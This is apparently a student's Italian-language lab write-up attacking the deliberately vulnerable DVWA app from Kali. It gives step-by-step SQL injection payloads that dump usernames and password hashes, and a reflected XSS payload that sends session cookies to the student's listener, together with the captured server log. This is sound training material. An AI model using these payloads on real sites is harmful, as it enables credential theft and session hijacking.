

## S6 LEZIONE 2

**Traccia:** Configurate il vostro laboratorio virtuale per raggiungere la DVWA dalla macchina Kali Linux (l'attaccante).

Assicuratevi che ci sia comunicazione tra le due macchine con il comando ping.

Raggiungete la DVWA e settate il livello di sicurezza a «LOW».

Scegliete una delle vulnerabilità XSS ed una delle vulnerabilità SQL injection: lo scopo del laboratorio è sfruttare con successo le vulnerabilità con le tecniche viste nella lezione teorica.

La soluzione riporta l'approccio utilizzato per le seguenti vulnerabilità:

-XSS reflected

-SQL Injection (non blind).

### SQL INJECTION

### Vulnerability: SQL Injection

User ID:

ID: 1  
First name: admin  
Surname: admin

### More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>  
[http://en.wikipedia.org/wiki/SQL\\_injection](http://en.wikipedia.org/wiki/SQL_injection)  
<http://www.unixwiz.net/techtips/sql-injection.html>

La query torna il nome ed il cognome anche utilizzando numeri con la virgola in quanto li converte in interi.

## Vulnerability: SQL Injection

User ID:

Submit

ID: 1' OR '1'='1  
First name: admin  
Surname: admin

ID: 1' OR '1'='1  
First name: Gordon  
Surname: Brown

ID: 1' OR '1'='1  
First name: Hack  
Surname: Me

ID: 1' OR '1'='1  
First name: Pablo  
Surname: Picasso

ID: 1' OR '1'='1  
First name: Bob  
Surname: Smith

More info

Per tautologia “1=1” vengono stampati tutti i contenuti della tabella (tabella degli utenti)

## Vulnerability: SQL Injection

User ID:

Submit

ID: 1' UNION SELECT 1, version()#  
First name: admin  
Surname: admin

ID: 1' UNION SELECT 1, version()#  
First name: 1  
Surname: 5.1.41

Con il comando version si può ottenere la versione del database (un po' vecchia)

## Vulnerability: SQL Injection

User ID:

Submit

```
ID: 1' UNION SELECT 1, user()#  
First name: admin  
Surname: admin
```

```
ID: 1' UNION SELECT 1, user()#  
First name: 1  
Surname: root@localhost
```

More info

Con il comando user riusciamo a capire che il database si trova sullo stesso host dell'applicazione web (cosa grave perchè dovrebbero trovarsi su macchine diverse)

## Vulnerability: SQL Injection

User ID:

Submit

```
ID: 1' UNION SELECT 1, database()#  
First name: admin  
Surname: admin
```

```
ID: 1' UNION SELECT 1, database()#  
First name: 1  
Surname: dvwa
```

Con questa funzione invece si scopre il nome del database "dvwa"

## Vulnerability: SQL Injection

User ID:

Submit

```
ID: 1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name = 'users' #  
First name: admin  
Surname: admin
```

```
ID: 1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name = 'users' #  
First name: 1  
Surname: user_id
```

```
ID: 1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name = 'users' #  
First name: 1  
Surname: first_name
```

```
ID: 1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name = 'users' #  
First name: 1  
Surname: last_name
```

```
ID: 1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name = 'users' #  
First name: 1  
Surname: user
```

```
ID: 1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name = 'users' #  
First name: 1  
Surname: password
```

```
ID: 1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name = 'users' #  
First name: 1  
Surname: avatar
```

Nel database sono presenti sia gli user che le password, nel prossimo passo verrà mostrato come ottenere sia gli user che le password

## Vulnerability: SQL Injection

User ID:

Submit

```
ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#
```

First name: admin

Surname: admin

```
ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#
```

First name: 1

Surname: 1:admin:admin:admin:5f4dcc3b5aa765d61d8327deb882cf99

```
ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#
```

First name: 1

Surname: 2:Gordon:Brown:gordonb:e99a18c428cb38d5f260853678922e03

```
ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#
```

First name: 1

Surname: 3:Hack:Me:1337:8d3533d75ae2c3966d7e0d4fcc69216b

```
ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#
```

First name: 1

Surname: 4:Pablo:Picasso:pablo:0d107d09f5bbe40cade3de5c71e9e9b7

```
ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#
```

First name: 1

Surname: 5:Bob:Smith:smithy:5f4dcc3b5aa765d61d8327deb882cf99

More info

Qui possiamo trovare tutti gli usare con le password corrispondenti per accedere.

## XSS

```
<script>alert("Sei stato Hackerato")</script>
```

script di “alert”

The screenshot displays the DVWA web application interface. On the left is a sidebar menu with various security tool categories. The main content area is titled "Vulnerability: Reflected Cross Site Scripting (XSS)". It features a form asking "What's your name?" with a text input field containing the payload `Sei stato Hackerato")</script>` and a "Submit" button. Below the form, the word "Hello" is displayed in red, indicating the successful execution of the script. A "More info" section provides links to external resources about XSS. At the bottom of the main area, there are "View Source" and "View Help" buttons. A dark modal dialog box is overlaid on the screen, showing the IP address `192.168.50.103` and the message "Sei stato Hackerato" with an "OK" button. The footer of the application reads "Damn Vulnerable Web Application (DVWA) v1.0.7".

me

structions

tup

ute Force

ommand Execution

RF

e Inclusion

L Injection

L Injection (Blind)

load

S reflected

S stored

WA Security

P Info

out

gout

name: admin

urity Level: low

IDS: disabled

## Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

Sei stato Hackerato")</script> Submit

Hello

### More info

<http://hackers.org/xss.html>

[http://en.wikipedia.org/wiki/Cross-site\\_scripting](http://en.wikipedia.org/wiki/Cross-site_scripting)

<http://www.cgisecurity.com/xss-faq.html>

192.168.50.103

Sei stato Hackerato

OK

View Source View Help

Damn Vulnerable Web Application (DVWA) v1.0.7

<script>window.location='http://192.168.50.101:1337/?cookie=' + document.cookie</script>

## Directory listing for /?cookie=security=low; PHPSESSID=eab45f1904d8d71fd2e9138287d81087

- [.bash\\_logout](#)
- [.bashrc](#)
- [.bashrc.original](#)
- [.BurpSuite/](#)
- [.cache/](#)
- [.config/](#)
- [.dmrc](#)
- [.face](#)
- [.face.icon@](#)
- [.gnupg/](#)
- [.ICEauthority](#)
- [.java/](#)
- [.local/](#)
- [.mozilla/](#)
- [.profile](#)
- [.sudo\\_as\\_admin\\_successful](#)
- [.vboxclient-clipboard-tty7-control.pid](#)
- [.vboxclient-clipboard-tty7-service.pid](#)
- [.vboxclient-display-svga-x11-tty7-control.pid](#)
- [.vboxclient-display-svga-x11-tty7-service.pid](#)
- [.vboxclient-draganddrop-tty7-control.pid](#)
- [.vboxclient-draganddrop-tty7-service.pid](#)
- [.vboxclient-hostversion-tty7-control.pid](#)
- [.vboxclient-seamless-tty7-control.pid](#)
- [.vboxclient-seamless-tty7-service.pid](#)
- [.vboxclient-xmsvga-session-tty7-control.pid](#)
- [.Xauthority](#)
- [.xsession-errors](#)
- [.xsession-errors.old](#)
- [.zsh\\_history](#)
- [.zshrc](#)
- [\\_pycache\\_/](#)
- [Desktop/](#)
- [Documents/](#)
- [Downloads/](#)
- [Epicode\\_lab/](#)
- [Esercizio.txt](#)
- [Music/](#)
- [Pictures/](#)
- [Public/](#)
- [Templates/](#)
- [Videos/](#)

```
(kali㉿kali)-[~]
└─$ python -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...
192.168.50.101 - - [09/Jan/2024 13:47:32] "GET /?cookie=security=low;%20PHPSESSID=eab45f1904d8d71fd2e9138287d81087 HTTP/1.1" 200 -
192.168.50.101 - - [09/Jan/2024 13:47:32] code 404, message File not found
192.168.50.101 - - [09/Jan/2024 13:47:32] "GET /favicon.ico HTTP/1.1" 404 -
192.168.50.101 - - [09/Jan/2024 13:48:23] "GET /?cookie=security=low;%20PHPSESSID=eab45f1904d8d71fd2e9138287d81087 HTTP/1.1" 200 -
```

- [.bash\\_logout](#)
- [.bashrc](#)

In questo modo la pagina viene reindirizzata sul nostro webserver e ci ritorna il cookie con il SESSID con il quale si può fare il login sul sito.